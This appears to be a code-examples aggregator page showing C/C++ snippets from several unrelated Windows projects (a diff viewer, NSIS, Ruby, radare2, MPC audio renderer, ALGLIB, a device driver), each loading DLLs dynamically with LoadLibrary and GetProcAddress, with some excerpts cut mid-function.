    pFrame->resolveMsgLParam = parser.HasVal(L"resolvemsglparam") ? (LPARAM)parser.GetLongLongVal(L"resolvemsglparam") : 0;

    // The one and only window has been initialized, so show and update it
    pFrame->ActivateFrame();
    pFrame->ShowWindow(SW_SHOW);
    pFrame->UpdateWindow();
    pFrame->ShowDiffBar(!pFrame->m_bOneWay);
    if (!pFrame->m_Data.IsBaseFileInUse() && pFrame->m_Data.m_sPatchPath.IsEmpty() && pFrame->m_Data.m_sDiffFile.IsEmpty())
    {
        pFrame->OnFileOpen(pFrame->m_Data.m_yourFile.InUse());
        return TRUE;
    }

    int line = -2;
    if (parser.HasVal(L"line"))
    {
        line = parser.GetLongVal(L"line");
        line--; // we need the index
    }

    return pFrame->LoadViews(line);
}
Ejemplo n.º 7
0
errno_t SearchFlush1(flush_t* f)
{
	unsigned char* pos = NULL;

	char filename[MAX_PATH] = {0};
	HMODULE base = GetModuleHandle( NULL );

	HMODULE psapi = LoadLibrary("psapi.dll");
	if (psapi == NULL)
		return -1;
	_GetModuleFileNameExA GetModuleFileNameEx_ = 
		(_GetModuleFileNameExA)GetProcAddress(psapi, "GetModuleFileNameExA");
	GetModuleFileNameEx_(GetCurrentProcess(), base, filename, sizeof(filename));
	
	MAPPED_FILE view = {0};
	if( !map_file(filename, &view) ) {
		return errno;
	}

	int pe = pe_open((const char*)view.data, view.size);
	if (pe == INVALID_PE) {
		unmap_file(&view);
		return errno;
	}

	//搜索_fflush函数
	/*
					_fflush         proc near               ; CODE XREF: sub_403AD0+2A0p
	.text:004E6AD9                                                           ; output_result+A5p ...
	.text:004E6AD9
	.text:004E6AD9                   var_1C          = dword ptr -1Ch
	.text:004E6AD9                   ms_exc          = CPPEH_RECORD ptr -18h
	.text:004E6AD9                   File            = dword ptr  8
	.text:004E6AD9
	.text:004E6AD9 6A 0C                             push    0Ch
	.text:004E6ADB 68 58 7B 51 00                    push    offset unk_517B58
	.text:004E6AE0 E8 1F 64 00 00                    call    __SEH_prolog4
	.text:004E6AE5 33 F6                             xor     esi, esi
	.text:004E6AE7 39 75 08                          cmp     [ebp+File], esi
	.text:004E6AEA 75 09                             jnz     short loc_4E6AF5
	.text:004E6AEC 56                                push    esi
	.text:004E6AED E8 0D FF FF FF                    call    _flsall
	.text:004E6AF2 59                                pop     ecx
	.text:004E6AF3 EB 27                             jmp     short loc_4E6B1C
	.text:004E6AF5                   ; ---------------------------------------------------------------------------
	.text:004E6AF5
	.text:004E6AF5                   loc_4E6AF5:                             ; CODE XREF: _fflush+11j
	.text:004E6AF5 FF 75 08                          push    [ebp+File]
	.text:004E6AF8 E8 94 FD FF FF                    call    __lock_file
	.text:004E6AFD 59                                pop     ecx
	.text:004E6AFE 89 75 FC                          mov     [ebp+ms_exc.disabled], esi
	.text:004E6B01 FF 75 08                          push    [ebp+File]      ; File
	.text:004E6B04 E8 B4 FE FF FF                    call    __fflush_nolock
	.text:004E6B09 59                                pop     ecx
	.text:004E6B0A 89 45 E4                          mov     [ebp+var_1C], eax
	.text:004E6B0D C7 45 FC FE FF FF+                mov     [ebp+ms_exc.disabled], 0FFFFFFFEh
	.text:004E6B14 E8 09 00 00 00                    call    $LN8_1
	.text:004E6B19
	.text:004E6B19                   $LN9_1:
	.text:004E6B19 8B 45 E4                          mov     eax, [ebp+var_1C]
	.text:004E6B1C
	.text:004E6B1C                   loc_4E6B1C:                             ; CODE XREF: _fflush+1Aj
	.text:004E6B1C E8 28 64 00 00                    call    __SEH_epilog4
	.text:004E6B21 C3                                retn
	.text:004E6B21                   _fflush         endp

	*/
	uint8_t taget_fflush_1[] = { 0x33, 0xF6, 0x39, 0x75, 0x08, 0x75, 0x09, 0x56, 0xE8 };

	char* start = (char*)view.data;
	while( start < ((char*) view.data + view.size ) ) {
		start = (char*)memstr((const char*)start, view.size - (start - (char*)view.data), 
			(const char*)taget_fflush_1, sizeof( taget_fflush_1 ) );
		if( start == NULL ) {
			break;
		}

		uint8_t target_fflush_2[] = { 0x59, 0xEB, 0x27, 0xFF, 0x75, 0x08, 0xE8 };
		uint8_t target_fflush_3[] = { 0x59, 0x89, 0x75, 0xFC, 0xFF, 0x75, 0x08, 0xE8 };
		if( 0 == memcmp( start + 0xD, target_fflush_2, sizeof( target_fflush_2 ))
		 && 0 == memcmp( start + 0x18, target_fflush_3, sizeof( target_fflush_3 ))) {
			//找到了
			break;
		}

		start += sizeof( taget_fflush_1 );
	}

	if( start == NULL ) {
		pe_close(pe);
		unmap_file( &view );
		return errno;
	}

	//将物理地址转换成虚拟地址
	f->fflush = (_fflush_)(raw_to_rva(pe, (uint32_t)(start - 0xC - (char*)view.data)));
	if( (ULONG)f->fflush == INVALID_RVA ) {
		pe_close(pe);
		unmap_file( &view );
		return errno;
	}

	//搜索__lock_file函数,得到iob数据的地址
	//从而可以获取到stdout
	/*
	.text:004E6891 56                                push    esi
	.text:004E6892 8B 74 24 08                       mov     esi, [esp+4+arg_0]
	.text:004E6896 B8 D0 EF 51 00                    mov     eax, offset __iob
	.text:004E689B 3B F0                             cmp     esi, eax
	.text:004E689D 72 22                             jb      short loc_4E68C1
	.text:004E689F 81 FE 30 F2 51 00                 cmp     esi, offset unk_51F230
	.text:004E68A5 77 1A                             ja      short loc_4E68C1
	.text:004E68A7 8B CE                             mov     ecx, esi
	.text:004E68A9 2B C8                             sub     ecx, eax
	.text:004E68AB C1 F9 05                          sar     ecx, 5
	.text:004E68AE 83 C1 10                          add     ecx, 10h
	.text:004E68B1 51                                push    ecx
	.text:004E68B2 E8 1B 5B 00 00                    call    __lock
	.text:004E68B7 81 4E 0C 00 80 00+                or      dword ptr [esi+0Ch], 8000h
	.text:004E68BE 59                                pop     ecx
	.text:004E68BF 5E                                pop     esi
	.text:004E68C0 C3                                retn
	*/

	uint8_t target[] = { 0x77, 0x1A, 0x8B, 0xCE, 0x2B, 0xC8, 0xC1, 0xF9, 0x05, 0x83, 0xC1, 0x10, 0x51, 0xE8 };
	pos = (uint8_t*)memstr((const char*)view.data, view.size, 
					(const char*)target, sizeof( target ) );
	pos -= 0xE;
	f->addr_iob = *(unsigned long*)pos;
	
	pe_close(pe);
	unmap_file( &view );
	return true;
}
// Call back Declaration
ReturnType DigitalIOComp::onInitialize()
{
	//	XML에 저장된 프라퍼티를 parameter에 저장
	Property parameter;
	std::map<std::string, std::string> temp = getPropertyMap();
	parameter.SetProperty(temp);
	
	//	dll 파일이름을 확인하여 없으면 에러 리턴
	if(parameter.FindName("APIName") == false) {
		PrintMessage("ERROR : DigitalIOComp::onInitialize() -> Can't find the APIName in property\n");
		return OPROS_FIND_PROPERTY_ERROR;
	}

	
#if defined(WIN32)
	//	DLL 로드
	hOprosAPI = LoadLibrary((LPCSTR)parameter.GetValue("APIName").c_str());
	if(hOprosAPI == NULL) {
		PrintMessage("ERROR : DigitalIOComp::onInitialize() -> Can't find the %s\n", parameter.GetValue("APIName").c_str());
		return OPROS_FIND_DLL_ERROR;
	}
	
	//	API 로드
	GET_OPROS_API getOprosAPI;
	getOprosAPI = (GET_OPROS_API)GetProcAddress(hOprosAPI, "GetAPI");
	if(getOprosAPI == NULL) {
		PrintMessage("ERROR : DigitalIOComp::onInitialize() -> Can't get a handle of GetAPI Funtion\n");
		FreeLibrary(hOprosAPI);
		hOprosAPI = NULL;
		return OPROS_LOAD_DLL_ERROR;
	}
#else
	hOprosAPI = dlopen(parameter.GetValue("DllName").c_str(), RTLD_LAZY);
	if(hOprosAPI == NULL) {
		PrintMessage("ERROR : DigitalIOComp::onInitialize() -> Can't find the %s\n", parameter.GetValue("DllName").c_str());
		return OPROS_FIND_DLL_ERROR;
	}

	GET_OPROS_API getOprosAPI;
	getOprosAPI = (GET_OPROS_API)dlsym(hOprosAPI, "GetAPI");
	char *error = dlerror();
	if(error != NULL) {
		PrintMessage("ERROR : DigitalIOComp::onInitialize() -> Can't get a handle of GetAPI Funtion\n");
		dlclose(hOprosAPI);
		hOprosAPI = NULL;
		return OPROS_LOAD_DLL_ERROR;
	}
#endif
	
	digitalIO = dynamic_cast<DigitalIO *>(getOprosAPI());
	if(digitalIO == NULL) {
		PrintMessage("ERROR : DigitalIOComp::onInitialize() -> Can't get a handle of Digital IO API\n");
#if defined(WIN32)
		FreeLibrary(hOprosAPI);
#else
		dlclose(hOprosAPI);
#endif
		hOprosAPI = NULL;
		return OPROS_LOAD_DLL_ERROR;
	}

	//	API 초기화
	if(digitalIO->Initialize(parameter) != API_SUCCESS) {
		PrintMessage("ERROR : DigitalIOComp::onInitialize() -> Can't initialize a Digital IO API\n");
		delete digitalIO;
		digitalIO = NULL;

#if defined(WIN32)
		FreeLibrary(hOprosAPI);
#else
		dlclose(hOprosAPI);
#endif
		hOprosAPI = NULL;
		return OPROS_INITIALIZE_API_ERROR;
	}

	error = 0;

	return OPROS_SUCCESS;
}
Ejemplo n.º 9
0
CMpcAudioRenderer::CMpcAudioRenderer(LPUNKNOWN punk, HRESULT* phr)
    : CBaseRenderer(__uuidof(this), MpcAudioRendererName, punk, phr)
    , m_pDSBuffer(NULL)
    , m_pSoundTouch(NULL)
    , m_pDS(NULL)
    , m_dwDSWriteOff(0)
    , m_nDSBufSize(0)
    , m_dRate(1.0)
    , m_pReferenceClock(NULL)
    , m_pWaveFileFormat(NULL)
    , pMMDevice(NULL)
    , pAudioClient(NULL)
    , pRenderClient(NULL)
    , m_useWASAPI(true)
    , m_bMuteFastForward(false)
    , m_csSound_Device(_T(""))
    , nFramesInBuffer(0)
    , hnsPeriod(0)
    , hTask(NULL)
    , bufferSize(0)
    , isAudioClientStarted(false)
    , lastBufferTime(0)
    , hnsActualDuration(0)
    , m_lVolume(DSBVOLUME_MIN)
{
    HMODULE hLib;

#ifdef STANDALONE_FILTER
    CRegKey key;
    ULONG   len;

    if (ERROR_SUCCESS == key.Open(HKEY_CURRENT_USER, _T("Software\\Gabest\\Filters\\MPC Audio Renderer"), KEY_READ)) {
        DWORD dw;
        TCHAR buff[256];
        if (ERROR_SUCCESS == key.QueryDWORDValue(_T("UseWasapi"), dw)) {
            m_useWASAPI = !!dw;
        }
        if (ERROR_SUCCESS == key.QueryDWORDValue(_T("MuteFastForward"), dw)) {
            m_bMuteFastForward = !!dw;
        }
        len = _countof(buff);
        memset(buff, 0, sizeof(buff));
        if (ERROR_SUCCESS == key.QueryStringValue(_T("SoundDevice"), buff, &len)) {
            m_csSound_Device = CString(buff);
        }
    }
#else
    m_useWASAPI = !!AfxGetApp()->GetProfileInt(_T("Filters\\MPC Audio Renderer"), _T("UseWasapi"), m_useWASAPI);
    m_bMuteFastForward = !!AfxGetApp()->GetProfileInt(_T("Filters\\MPC Audio Renderer"), _T("MuteFastForward"), m_bMuteFastForward);
    m_csSound_Device = AfxGetApp()->GetProfileString(_T("Filters\\MPC Audio Renderer"), _T("SoundDevice"), _T(""));
#endif
    m_useWASAPIAfterRestart = m_useWASAPI;


    // Load Vista specific DLLs
    hLib = LoadLibrary(L"avrt.dll");
    if (hLib != NULL) {
        pfAvSetMmThreadCharacteristicsW   = (PTR_AvSetMmThreadCharacteristicsW)   GetProcAddress(hLib, "AvSetMmThreadCharacteristicsW");
        pfAvRevertMmThreadCharacteristics = (PTR_AvRevertMmThreadCharacteristics) GetProcAddress(hLib, "AvRevertMmThreadCharacteristics");
    } else {
        m_useWASAPI = false;    // Wasapi not available below Vista
    }

    TRACE(_T("CMpcAudioRenderer constructor\n"));
    if (!m_useWASAPI) {
        DirectSoundEnumerate((LPDSENUMCALLBACK)DSEnumProc2, (VOID*)&m_csSound_Device);
        m_pSoundTouch = DEBUG_NEW soundtouch::SoundTouch();
        *phr = DirectSoundCreate8(&lpSoundGUID, &m_pDS, NULL);
    }
}
Ejemplo n.º 10
0
R_API char *r_sys_pid_to_path(int pid) {
#if __WINDOWS__
    BOOL WINAPI (*QueryFullProcessImageNameA) (HANDLE, DWORD, LPTSTR, PDWORD);
    DWORD WINAPI (*GetProcessImageFileNameA) (HANDLE, LPTSTR, DWORD);
    HANDLE kernel32 = LoadLibrary ("Kernel32.dll");
    if (!kernel32) {
        eprintf ("Error getting the handle to Kernel32.dll\n");
        return NULL;
    }
    QueryFullProcessImageNameA = GetProcAddress (kernel32, "QueryFullProcessImageNameA");
    if (!QueryFullProcessImageNameA) {
        // QueryFullProcessImageName does not exist before Vista, fallback to GetProcessImageFileName
        HANDLE psapi = LoadLibrary ("Psapi.dll");
        if (!psapi) {
            eprintf ("Error getting the handle to Psapi.dll\n");
            return NULL;
        }
        GetProcessImageFileNameA = GetProcAddress (psapi, "GetProcessImageFileNameA");
        if (!GetProcessImageFileNameA) {
            eprintf ("Error getting the address of GetProcessImageFileNameA\n");
            return NULL;
        }
    }
    HANDLE handle = NULL;
    TCHAR filename[MAX_PATH];
    DWORD maxlength = MAX_PATH;
    handle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (handle != NULL) {
        if (QueryFullProcessImageNameA) {
            if (QueryFullProcessImageNameA (handle, 0, filename, &maxlength) == 0) {
                eprintf("Error calling QueryFullProcessImageNameA\n");
                CloseHandle (handle);
                return NULL;
            }
        } else {
            if (GetProcessImageFileNameA (handle, filename, maxlength) == 0) {
                eprintf("Error calling GetProcessImageFileNameA\n");
                CloseHandle (handle);
                return NULL;
            }
        }
        CloseHandle (handle);
        return strdup (filename);
    }
    return NULL;
#elif __APPLE__
    char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
    pathbuf[0] = 0;
    int ret = proc_pidpath (pid, pathbuf, sizeof (pathbuf));
    if (ret <= 0)
        return NULL;
    return strdup (pathbuf);
#else
    int ret;
    char buf[128], pathbuf[1024];
#if __FreeBSD__
    snprintf (buf, sizeof (buf), "/proc/%d/file", pid);
#else
    snprintf (buf, sizeof (buf), "/proc/%d/exe", pid);
#endif
    ret = readlink (buf, pathbuf, sizeof (pathbuf)-1);
    if (ret<1)
        return NULL;
    pathbuf[ret] = 0;
    return strdup (pathbuf);
#endif
}
Ejemplo n.º 11
0
Archivo: vm_dump.c Proyecto: sho-h/ruby
static void
dump_thread(void *arg)
{
    HANDLE dbghelp;
    BOOL (WINAPI *pSymInitialize)(HANDLE, const char *, BOOL);
    BOOL (WINAPI *pSymCleanup)(HANDLE);
    BOOL (WINAPI *pStackWalk64)(DWORD, HANDLE, HANDLE, STACKFRAME64 *, void *, PREAD_PROCESS_MEMORY_ROUTINE64, PFUNCTION_TABLE_ACCESS_ROUTINE64, PGET_MODULE_BASE_ROUTINE64, PTRANSLATE_ADDRESS_ROUTINE64);
    DWORD64 (WINAPI *pSymGetModuleBase64)(HANDLE, DWORD64);
    BOOL (WINAPI *pSymFromAddr)(HANDLE, DWORD64, DWORD64 *, SYMBOL_INFO *);
    BOOL (WINAPI *pSymGetLineFromAddr64)(HANDLE, DWORD64, DWORD *, IMAGEHLP_LINE64 *);
    HANDLE (WINAPI *pOpenThread)(DWORD, BOOL, DWORD);
    DWORD tid = *(DWORD *)arg;
    HANDLE ph;
    HANDLE th;

    dbghelp = LoadLibrary("dbghelp.dll");
    if (!dbghelp) return;
    pSymInitialize = (BOOL (WINAPI *)(HANDLE, const char *, BOOL))GetProcAddress(dbghelp, "SymInitialize");
    pSymCleanup = (BOOL (WINAPI *)(HANDLE))GetProcAddress(dbghelp, "SymCleanup");
    pStackWalk64 = (BOOL (WINAPI *)(DWORD, HANDLE, HANDLE, STACKFRAME64 *, void *, PREAD_PROCESS_MEMORY_ROUTINE64, PFUNCTION_TABLE_ACCESS_ROUTINE64, PGET_MODULE_BASE_ROUTINE64, PTRANSLATE_ADDRESS_ROUTINE64))GetProcAddress(dbghelp, "StackWalk64");
    pSymGetModuleBase64 = (DWORD64 (WINAPI *)(HANDLE, DWORD64))GetProcAddress(dbghelp, "SymGetModuleBase64");
    pSymFromAddr = (BOOL (WINAPI *)(HANDLE, DWORD64, DWORD64 *, SYMBOL_INFO *))GetProcAddress(dbghelp, "SymFromAddr");
    pSymGetLineFromAddr64 = (BOOL (WINAPI *)(HANDLE, DWORD64, DWORD *, IMAGEHLP_LINE64 *))GetProcAddress(dbghelp, "SymGetLineFromAddr64");
    pOpenThread = (HANDLE (WINAPI *)(DWORD, BOOL, DWORD))GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenThread");
    if (pSymInitialize && pSymCleanup && pStackWalk64 && pSymGetModuleBase64 &&
	pSymFromAddr && pSymGetLineFromAddr64 && pOpenThread) {
	SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS | SYMOPT_DEBUG | SYMOPT_LOAD_LINES);
	ph = GetCurrentProcess();
	pSymInitialize(ph, NULL, TRUE);
	th = pOpenThread(THREAD_SUSPEND_RESUME|THREAD_GET_CONTEXT, FALSE, tid);
	if (th) {
	    if (SuspendThread(th) != (DWORD)-1) {
		CONTEXT context;
		memset(&context, 0, sizeof(context));
		context.ContextFlags = CONTEXT_FULL;
		if (GetThreadContext(th, &context)) {
		    char libpath[MAX_PATH];
		    char buf[sizeof(SYMBOL_INFO) + MAX_SYM_NAME];
		    SYMBOL_INFO *info = (SYMBOL_INFO *)buf;
		    DWORD mac;
		    STACKFRAME64 frame;
		    memset(&frame, 0, sizeof(frame));
#if defined(_M_AMD64) || defined(__x86_64__)
		    mac = IMAGE_FILE_MACHINE_AMD64;
		    frame.AddrPC.Mode = AddrModeFlat;
		    frame.AddrPC.Offset = context.Rip;
		    frame.AddrFrame.Mode = AddrModeFlat;
		    frame.AddrFrame.Offset = context.Rbp;
		    frame.AddrStack.Mode = AddrModeFlat;
		    frame.AddrStack.Offset = context.Rsp;
#elif defined(_M_IA64) || defined(__ia64__)
		    mac = IMAGE_FILE_MACHINE_IA64;
		    frame.AddrPC.Mode = AddrModeFlat;
		    frame.AddrPC.Offset = context.StIIP;
		    frame.AddrBStore.Mode = AddrModeFlat;
		    frame.AddrBStore.Offset = context.RsBSP;
		    frame.AddrStack.Mode = AddrModeFlat;
		    frame.AddrStack.Offset = context.IntSp;
#else	/* i386 */
		    mac = IMAGE_FILE_MACHINE_I386;
		    frame.AddrPC.Mode = AddrModeFlat;
		    frame.AddrPC.Offset = context.Eip;
		    frame.AddrFrame.Mode = AddrModeFlat;
		    frame.AddrFrame.Offset = context.Ebp;
		    frame.AddrStack.Mode = AddrModeFlat;
		    frame.AddrStack.Offset = context.Esp;
#endif

		    while (pStackWalk64(mac, ph, th, &frame, &context, NULL,
					NULL, NULL, NULL)) {
			DWORD64 addr = frame.AddrPC.Offset;
			IMAGEHLP_LINE64 line;
			DWORD64 displacement;
			DWORD tmp;

			if (addr == frame.AddrReturn.Offset || addr == 0 ||
			    frame.AddrReturn.Offset == 0)
			    break;

			memset(buf, 0, sizeof(buf));
			info->SizeOfStruct = sizeof(SYMBOL_INFO);
			info->MaxNameLen = MAX_SYM_NAME;
			if (pSymFromAddr(ph, addr, &displacement, info)) {
			    if (GetModuleFileName((HANDLE)(uintptr_t)pSymGetModuleBase64(ph, addr), libpath, sizeof(libpath)))
				fprintf(stderr, "%s", libpath);
			    fprintf(stderr, "(%s+0x%I64x)",
				    info->Name, displacement);
			}
			fprintf(stderr, " [0x%p]", (void *)(VALUE)addr);
			memset(&line, 0, sizeof(line));
			line.SizeOfStruct = sizeof(line);
			if (pSymGetLineFromAddr64(ph, addr, &tmp, &line))
			    fprintf(stderr, " %s:%lu", line.FileName, line.LineNumber);
			fprintf(stderr, "\n");
		    }
		}

		ResumeThread(th);
	    }
	    CloseHandle(th);
	}
	pSymCleanup(ph);
    }
    FreeLibrary(dbghelp);
}
Ejemplo n.º 12
0
Optimized ABLAS interface
********************************************************************/
#ifdef AP_WIN32
#include <windows.h>
extern "C"
{
typedef double  (*_ddot1)(const double*, const double*, long);
typedef void    (*_dmove1)(const double*, const double*, long);
typedef void    (*_dmoves1)(const double*, const double*, long, double);
typedef void    (*_dmoveneg1)(const double*, const double*, long);
typedef void    (*_dadd1)(const double*, const double*, long);
typedef void    (*_dadds1)(const double*, const double*, long, double);
typedef void    (*_dsub1)(const double*, const double*, long);
typedef void    (*_dmuls1)(const double*, long, double);
}
HINSTANCE ABLAS = LoadLibrary("ablas.dll");

static _ddot1     ddot1     = ABLAS==NULL ? NULL :     (_ddot1)  GetProcAddress(ABLAS, "ASMDotProduct1");
static _dmove1    dmove1    = ABLAS==NULL ? NULL :    (_dmove1)  GetProcAddress(ABLAS, "ASMMove1");
static _dmoves1   dmoves1   = ABLAS==NULL ? NULL :   (_dmoves1)  GetProcAddress(ABLAS, "ASMMoveS1");
static _dmoveneg1 dmoveneg1 = ABLAS==NULL ? NULL : (_dmoveneg1)  GetProcAddress(ABLAS, "ASMMoveNeg1");
static _dadd1     dadd1     = ABLAS==NULL ? NULL :     (_dadd1)  GetProcAddress(ABLAS, "ASMAdd1");
static _dadds1    dadds1    = ABLAS==NULL ? NULL :    (_dadds1)  GetProcAddress(ABLAS, "ASMAddS1");
static _dsub1     dsub1     = ABLAS==NULL ? NULL :     (_dsub1)  GetProcAddress(ABLAS, "ASMSub1");
static _dmuls1    dmuls1    = ABLAS==NULL ? NULL :     (_dmuls1) GetProcAddress(ABLAS, "ASMMulS1");
#endif

const double ap::machineepsilon = 5E-16;
const double ap::maxrealnumber  = 1E300;
const double ap::minrealnumber  = 1E-300;
Ejemplo n.º 13
0
Archivo: Ui.c Proyecto: kichik/nsis-1
FORCE_INLINE int NSISCALL ui_doinstall(void)
{
  header *header = g_header;
  static WNDCLASS wc; // richedit subclassing and bgbg creation

  // detect default language
  // more information at:
  //   http://msdn.microsoft.com/library/default.asp?url=/library/en-us/intl/nls_0xrn.asp

  LANGID (WINAPI *GUDUIL)();

  GUDUIL = myGetProcAddress(MGA_GetUserDefaultUILanguage);
  if (GUDUIL)
  {
    // Windows ME/2000+
    myitoa(state_language, GUDUIL());
  }
  else
  {
    static const TCHAR reg_9x_locale[]     = _T("Control Panel\\Desktop\\ResourceLocale");
    static const TCHAR reg_nt_locale_key[] = _T(".DEFAULT\\Control Panel\\International");
    const TCHAR       *reg_nt_locale_val   = &reg_9x_locale[30]; // = _T("Locale") with opt

    *(DWORD*)state_language = CHAR4_TO_DWORD(_T('0'), _T('x'), 0, 0);

    {
      // Windows 9x
      myRegGetStr(HKEY_CURRENT_USER, reg_9x_locale, NULL, g_tmp, 0);
    }

    if (!g_tmp[0])
    {
      // Windows NT
      // This key exists on 9x as well, so it's only read if ResourceLocale wasn't found
      myRegGetStr(HKEY_USERS, reg_nt_locale_key, reg_nt_locale_val, g_tmp, 0);
    }

    mystrcat(state_language, g_tmp);
  }

  // set default language
  set_language();

  // initialize auto close flag
  g_exec_flags.autoclose=g_flags&CH_FLAGS_AUTO_CLOSE;

#ifdef NSIS_CONFIG_PLUGIN_SUPPORT
  // initialize plugin api
  g_exec_flags.plugin_api_version=NSISPIAPIVER_CURR;
#endif

  // read install directory from registry
  if (!is_valid_instpath(state_install_directory))
  {
    if (header->install_reg_key_ptr)
    {
      myRegGetStr(
        (HKEY)header->install_reg_rootkey,
        GetNSISStringNP(header->install_reg_key_ptr),
        GetNSISStringNP(header->install_reg_value_ptr),
        ps_tmpbuf,
        0
      );
      if (ps_tmpbuf[0])
      {
        TCHAR *p=ps_tmpbuf;
        TCHAR *e;
        if (p[0]==_T('\"'))
        {
          TCHAR *p2;
          p++;
          p2 = findchar(p, _T('"'));
          *p2 = 0;
        }
        // p is the path now, check for .exe extension

        e=p+mystrlen(p)-4;
        if (e > p)
        {
          // if filename ends in .exe, and is not a directory, remove the filename
          if (!lstrcmpi(e, _T(".exe"))) // check extension
          {
            DWORD d;
            d=GetFileAttributes(p);
            if (d == INVALID_FILE_ATTRIBUTES || !(d&FILE_ATTRIBUTE_DIRECTORY))
            {
              // if there is no back-slash, the string will become empty, but that's ok because
              // it would make an invalid instdir anyway
              trimslashtoend(p);
            }
          }
        }

        mystrcpy(state_install_directory,addtrailingslash(p));
      }
    }
  }
  if (!is_valid_instpath(state_install_directory))
  {
    GetNSISString(state_install_directory,header->install_directory_ptr);
  }

#ifdef NSIS_CONFIG_LOG
  if (g_flags & CH_FLAGS_SILENT_LOG && !g_is_uninstaller)
  {
#if !defined(NSIS_CONFIG_LOG_ODS) && !defined(NSIS_CONFIG_LOG_STDOUT)
    build_g_logfile();
#endif
    log_dolog=1;
  }
#endif

#ifdef NSIS_CONFIG_VISIBLE_SUPPORT
  g_hIcon=LoadImage(g_hInstance,MAKEINTRESOURCE(IDI_ICON2),IMAGE_ICON,0,0,LR_DEFAULTSIZE|LR_SHARED);
#ifdef NSIS_SUPPORT_BGBG
  if (header->bg_color1 != -1)
  {
    DWORD cn = CHAR4_TO_DWORD(_T('_'), _T('N'), _T('b'), 0);
    RECT vp;
    extern LRESULT CALLBACK BG_WndProc(HWND, UINT, WPARAM, LPARAM);
    wc.lpfnWndProc = BG_WndProc;
    wc.hInstance = g_hInstance;
    wc.hIcon = g_hIcon;
    //wc.hCursor = LoadCursor(NULL,IDC_ARROW);
    wc.lpszClassName = (LPCTSTR)&cn;

    if (!RegisterClass(&wc)) return 0;

    SystemParametersInfo(SPI_GETWORKAREA, 0, &vp, 0);

    m_bgwnd = CreateWindowEx(WS_EX_TOOLWINDOW,(LPCTSTR)&cn,0,WS_POPUP,
      vp.left,vp.top,vp.right-vp.left,vp.bottom-vp.top,0,NULL,g_hInstance,NULL);
  }

#endif//NSIS_SUPPORT_BGBG

#endif//NSIS_CONFIG_VISIBLE_SUPPORT

#ifdef NSIS_SUPPORT_CODECALLBACKS
  // Select language
  if (ExecuteCallbackFunction(CB_ONINIT)) return 2;
  set_language();
#endif

#ifdef NSIS_CONFIG_VISIBLE_SUPPORT

#ifdef NSIS_CONFIG_SILENT_SUPPORT
  if (!g_exec_flags.silent)
#endif//NSIS_CONFIG_SILENT_SUPPORT
  {
#ifdef NSIS_SUPPORT_BGBG
    ShowWindow(m_bgwnd, SW_SHOW);
#endif//NSIS_SUPPORT_BGBG

#ifdef NSIS_CONFIG_LICENSEPAGE
    { // load richedit DLL
      static const TCHAR riched20[]=_T("RichEd20");
      static const TCHAR riched32[]=_T("RichEd32");
      static const TCHAR richedit20a[]=_T("RichEdit20A");
      static const TCHAR richedit[]=_T("RichEdit");
      if (!LoadLibrary(riched20))
      {
        LoadLibrary(riched32);
      }

      // make richedit20a point to RICHEDIT
      if (!GetClassInfo(NULL,richedit20a,&wc))
      {
        GetClassInfo(NULL,richedit,&wc);
        wc.lpszClassName = richedit20a;
        RegisterClass(&wc);
      }
    }
#endif

    {
      int ret=DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_INST+dlg_offset),0,DialogProc);
#if defined(NSIS_SUPPORT_CODECALLBACKS) && defined(NSIS_CONFIG_ENHANCEDUI_SUPPORT)
      ExecuteCallbackFunction(CB_ONGUIEND);
#endif
#ifdef NSIS_CONFIG_PLUGIN_SUPPORT
      Plugins_SendMsgToAllPlugins(NSPIM_GUIUNLOAD);
#endif
      return ret;
    }
  }
#endif//NSIS_CONFIG_VISIBLE_SUPPORT
#ifdef NSIS_CONFIG_SILENT_SUPPORT
#ifdef NSIS_CONFIG_VISIBLE_SUPPORT
  else
#endif//NSIS_CONFIG_VISIBLE_SUPPORT
  {
    if (install_thread(NULL))
    {
#ifdef NSIS_SUPPORT_CODECALLBACKS
      if (!g_quit_flag) ExecuteCallbackFunction(CB_ONINSTFAILED);
#endif//NSIS_SUPPORT_CODECALLBACKS
      return 2;
    }
#ifdef NSIS_SUPPORT_CODECALLBACKS
    ExecuteCallbackFunction(CB_ONINSTSUCCESS);
#endif//NSIS_SUPPORT_CODECALLBACKS

    return 0;
  }
#endif//NSIS_CONFIG_SILENT_SUPPORT
}
Ejemplo n.º 14
0
/* 
    pContext [in]: Pointer to a string containing the registry path to the active key 
    for the stream interface driver

    lpvBusContext [in]: Potentially process-mapped pointer passed as the fourth parameter to ActivateDeviceEx. 
    If this driver was loaded through legacy mechanisms, then lpvBusContext is zero.    
*/
extern "C" DWORD BKL_Init(
  LPCTSTR pContext, 
  LPCVOID lpvBusContext
)
{   
    DWORD dwStatus, dwSize, dwType;
    HKEY hkDevice = NULL;
    BKL_MDD_INFO *pBKLinfo = NULL;

    UNREFERENCED_PARAMETER(lpvBusContext);
   
    if (IsDVIMode())
        return 0;
    
    DEBUGMSG(ZONE_BACKLIGHT, (TEXT("+BKL_Init() context %s.\r\n"), pContext));


    g_pBacklight = GetBacklightObject();
    if (g_pBacklight == NULL)
    {
        goto error;
    }

    // Allocate enough storage for this instance of our backlight
    pBKLinfo = (BKL_MDD_INFO *)LocalAlloc(LPTR, sizeof(BKL_MDD_INFO));
    if (pBKLinfo == NULL)
    {
        DEBUGMSG(ZONE_ERROR, (L"ERROR: BKL_Init: "
            L"Failed allocate BKL_MDD_INFO device structure\r\n" ));
        goto error;
    }

    // get device name from registry
    dwStatus = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pContext, 0, 0, &hkDevice);
    if(dwStatus != ERROR_SUCCESS) 
    {
        DEBUGMSG(ZONE_ERROR, (TEXT("BLK_Init: OpenDeviceKey failed with %u\r\n"), dwStatus));
        goto error;
    }
    dwSize = sizeof(pBKLinfo->szName);
    dwStatus = RegQueryValueEx(hkDevice, DEVLOAD_DEVNAME_VALNAME, NULL, &dwType, (LPBYTE)pBKLinfo->szName, &dwSize);
    if(dwStatus != ERROR_SUCCESS)
    {
        DEBUGMSG(ZONE_ERROR, (TEXT("BLK_Init: RegQueryValueEx failed with %u\r\n"), dwStatus));
        goto error;

    }
    RegCloseKey(hkDevice);
    hkDevice = NULL;

    // create exit event to be set by deinit:
    pBKLinfo->hExitEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    if(NULL == pBKLinfo->hExitEvent)
    {
